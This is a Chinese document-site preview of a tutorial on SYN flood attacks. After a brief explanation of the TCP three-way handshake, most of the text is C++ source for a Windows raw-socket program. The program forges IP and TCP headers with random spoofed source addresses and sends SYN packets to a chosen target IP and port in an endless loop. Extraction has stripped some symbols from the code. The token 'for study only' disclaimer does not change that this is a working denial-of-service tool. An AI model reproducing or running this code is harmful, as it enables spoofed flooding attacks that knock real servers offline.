SYN_FLOOD簡(jiǎn)單分析及實(shí)現(xiàn)_第1頁(yè)
SYN_FLOOD簡(jiǎn)單分析及實(shí)現(xiàn)_第2頁(yè)
SYN_FLOOD簡(jiǎn)單分析及實(shí)現(xiàn)_第3頁(yè)
SYN_FLOOD簡(jiǎn)單分析及實(shí)現(xiàn)_第4頁(yè)
SYN_FLOOD簡(jiǎn)單分析及實(shí)現(xiàn)_第5頁(yè)
已閱讀5頁(yè),還剩4頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、SYN_FLOOD 簡(jiǎn)單分析及實(shí)現(xiàn)聲明:此程序有一定攻擊性,請(qǐng)只供學(xué)習(xí)之用,不要危害祖國(guó)的網(wǎng)絡(luò)。如發(fā)動(dòng)攻擊一切后果自負(fù)。網(wǎng)絡(luò)上發(fā)送數(shù)據(jù)包的攻擊有多種(如ICMP_FLOOD, 碎片攻擊,等)其中有一種就是 利用TCP 協(xié)議三次 握手的攻擊(SYN_FLOOD)。下面 就簡(jiǎn)單 講述一下 TCP 的三次 握手?,F(xiàn)在 有A,B 兩臺(tái) 機(jī)器,其中B是SERVER.A是CLIENT.首先 A 發(fā)送送一個(gè) 帶有SYN標(biāo)記(帶起始序列號(hào))的數(shù)據(jù)報(bào) 給B。然后 B 接收, 然后 發(fā)送一個(gè)ACK+SYN(帶B機(jī)的起始序列號(hào) 和 A的確認(rèn)號(hào))給A。最后 A 再發(fā)送 一個(gè)帶序列號(hào) 和 確認(rèn)號(hào)的 數(shù)據(jù)報(bào) 給 B。 此

2、時(shí) 連接 完成。通過(guò)RAW_SOCKET,只要你是管理員,就可以偽造IP和TCP頭部,發(fā)虛假源地址的SYN請(qǐng)求。簡(jiǎn)單實(shí)現(xiàn)如下:/* FLOOD.CPP*/#include #include #include #include #include #include #pragma comment(lib, ws2_32.lib)#define MAX_RECEIVEBYTE 255 typedef struct ip_head /定義IP首部 unsigned char h_verlen; /4位首部長(zhǎng)度,4位IP版本號(hào) unsigned char tos; /8位服務(wù)類型TOS unsigned

3、 short total_len; /16位總長(zhǎng)度(字節(jié)) unsigned short ident; /16位標(biāo)識(shí) unsigned short frag_and_flags; /3位標(biāo)志位 (如SYN,ACK,等)unsigned char ttl; /8位生存時(shí)間 TTL unsigned char proto; /8位協(xié)議 (如ICMP,TCP等)unsigned short checksum; /16位IP首部校驗(yàn)和unsigned int sourceIP; /32位源IP地址unsigned int destIP; /32位目的IP地址 IPHEADER;typedef stru

4、ct tcp_head /定義TCP首部 USHORT th_sport; /16位源端口 USHORT th_dport; /16位目的端口 unsigned int th_seq; /32位序列號(hào) unsigned int th_ack; /32位確認(rèn)號(hào) unsigned char th_lenres; /4位首部長(zhǎng)度/6位保留字 unsigned char th_flag; /6位標(biāo)志位 USHORT th_win; /16位窗口大小 USHORT th_sum; /16位校驗(yàn)和 USHORT th_urp; /16位緊急數(shù)據(jù)偏移量 TCPHEADER; typedef struct t

5、sd_head /定義TCP偽首部 unsigned long saddr; /源地址 unsigned long daddr; /目的地址 char mbz; char ptcl; /協(xié)議類型 unsigned short tcpl; /TCP長(zhǎng)度 PSDHEADER;/CheckSum:計(jì)算校驗(yàn)和的子函數(shù) USHORT checksum(USHORT *buffer, int size) unsigned long cksum=0; while(size 1) cksum+=*buffer+;size -=sizeof(USHORT); if(size)cksum += *(UCHAR*)

6、buffer; cksum = (cksum 16) + (cksum & 0xffff); cksum += (cksum 16);return (USHORT)(cksum); void usage() printf(*);printf(SYN_FLOOD MADE BY LionD8);printf(Useage: FLOOD Target_ip Target_port Delay_time );printf(*);/Delay_time單位為毫秒。int main(int argc, char* argv) WSADATA WSAData; SOCKET sock; SOCKADDR_

7、IN addr_in;IPHEADER ipHeader;TCPHEADER tcpHeader;PSDHEADER psdHeader;int SourcePort;char szSendBuf60=0;BOOL flag; int rect,nTimeOver;int sleeptime;usage();if (argc 4 ) printf(input error! );return false; if (argc=4) sleeptime=atoi(argv3); else sleeptime=300;if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0

8、) printf(WSAStartup Error!);return false;sock=NULL;if (sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP)=INVALID_SOCKET)printf(Socket Setup Error!);return false;flag=true; if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag)=SOCKET_ERROR) printf(setsockopt IP_HDRINCL error!);return false; nT

9、imeOver=1000;if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver)=SOCKET_ERROR) /設(shè)置發(fā)送的時(shí)間 printf(setsockopt SO_SNDTIMEO error!);return false; addr_in.sin_family=AF_INET; addr_in.sin_port=htons(atoi(argv2);while(TRUE)/填充IP首部 ipHeader.h_verlen=(44 | sizeof(ipHeader)/sizeof

10、(unsigned long);ipHeader.tos=0;ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader); /IP總長(zhǎng)度ipHeader.ident=1;ipHeader.frag_and_flags=0; /無(wú)分片ipHeader.ttl=(unsigned char)GetTickCount()%87+123; ipHto=IPPROTO_TCP; / 協(xié)議類型為 TCPipHeader.checksum=0; /效驗(yàn)位先初始為0ipHeader.sourceIP=htonl(GetTickCou

11、nt()*474695); /隨機(jī)產(chǎn)生一個(gè)偽造的IPipHeader.destIP=inet_addr(argv1); /目標(biāo)IP/填充TCP首部SourcePort=GetTickCount()*43557%9898; /隨機(jī)產(chǎn)生一個(gè)端口號(hào)tcpHeader.th_dport=htons(atoi(argv2); /發(fā)送的目的端口tcpHeader.th_sport=htons(SourcePort); /源端口號(hào)tcpHeader.th_seq=htonl(0x12345678); /序列號(hào)tcpHeader.th_ack=0; /確認(rèn)號(hào)tcpHeader.th_lenres=(sizeo

12、f(tcpHeader)/44|0);tcpHeader.th_flag=2; /為SYN請(qǐng)求tcpHeader.th_win=htons(512);tcpHeader.th_urp=0;tcpHeader.th_sum=0;/填充TCP偽首部用來(lái)計(jì)算TCP頭部的效驗(yàn)和psdHeader.saddr=ipHeader.sourceIP;psdHeader.daddr=ipHeader.destIP;psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP;psdHeader.tcpl=htons(sizeof(tcpHeader);/計(jì)算校驗(yàn)和 memcpy(sz

13、SendBuf, &psdHeader, sizeof(psdHeader); memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader); tcpHeader.th_sum=checksum(USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader); /把偽造好的IP頭 和 TCP 頭 放進(jìn) buf 準(zhǔn)備發(fā)送memcpy(szSendBuf, &ipHeader, sizeof(ipHeader);memcpy(szSendBuf+sizeof(ipHeader), &

14、tcpHeader, sizeof(tcpHeader);/發(fā)送數(shù)據(jù)包rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in);if (rect=SOCKET_ERROR) printf(send error!:%x,WSAGetLastError();return false;elseprintf(send ok!);Sleep(sleeptime); /根據(jù)自己網(wǎng)速的快慢確定此值,sleeptime越小發(fā)得越快/endwhile /重新偽造IP的源地址等再次向目標(biāo)發(fā)送closesocket(sock);WSACleanup();return 0;在VC+6.0 下編譯通過(guò)。我們?cè)O(shè)置了SOCK_RAW標(biāo)志,表示我們聲明的是一個(gè)原始套接字類型。創(chuàng)建

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

評(píng)論

0/150

提交評(píng)論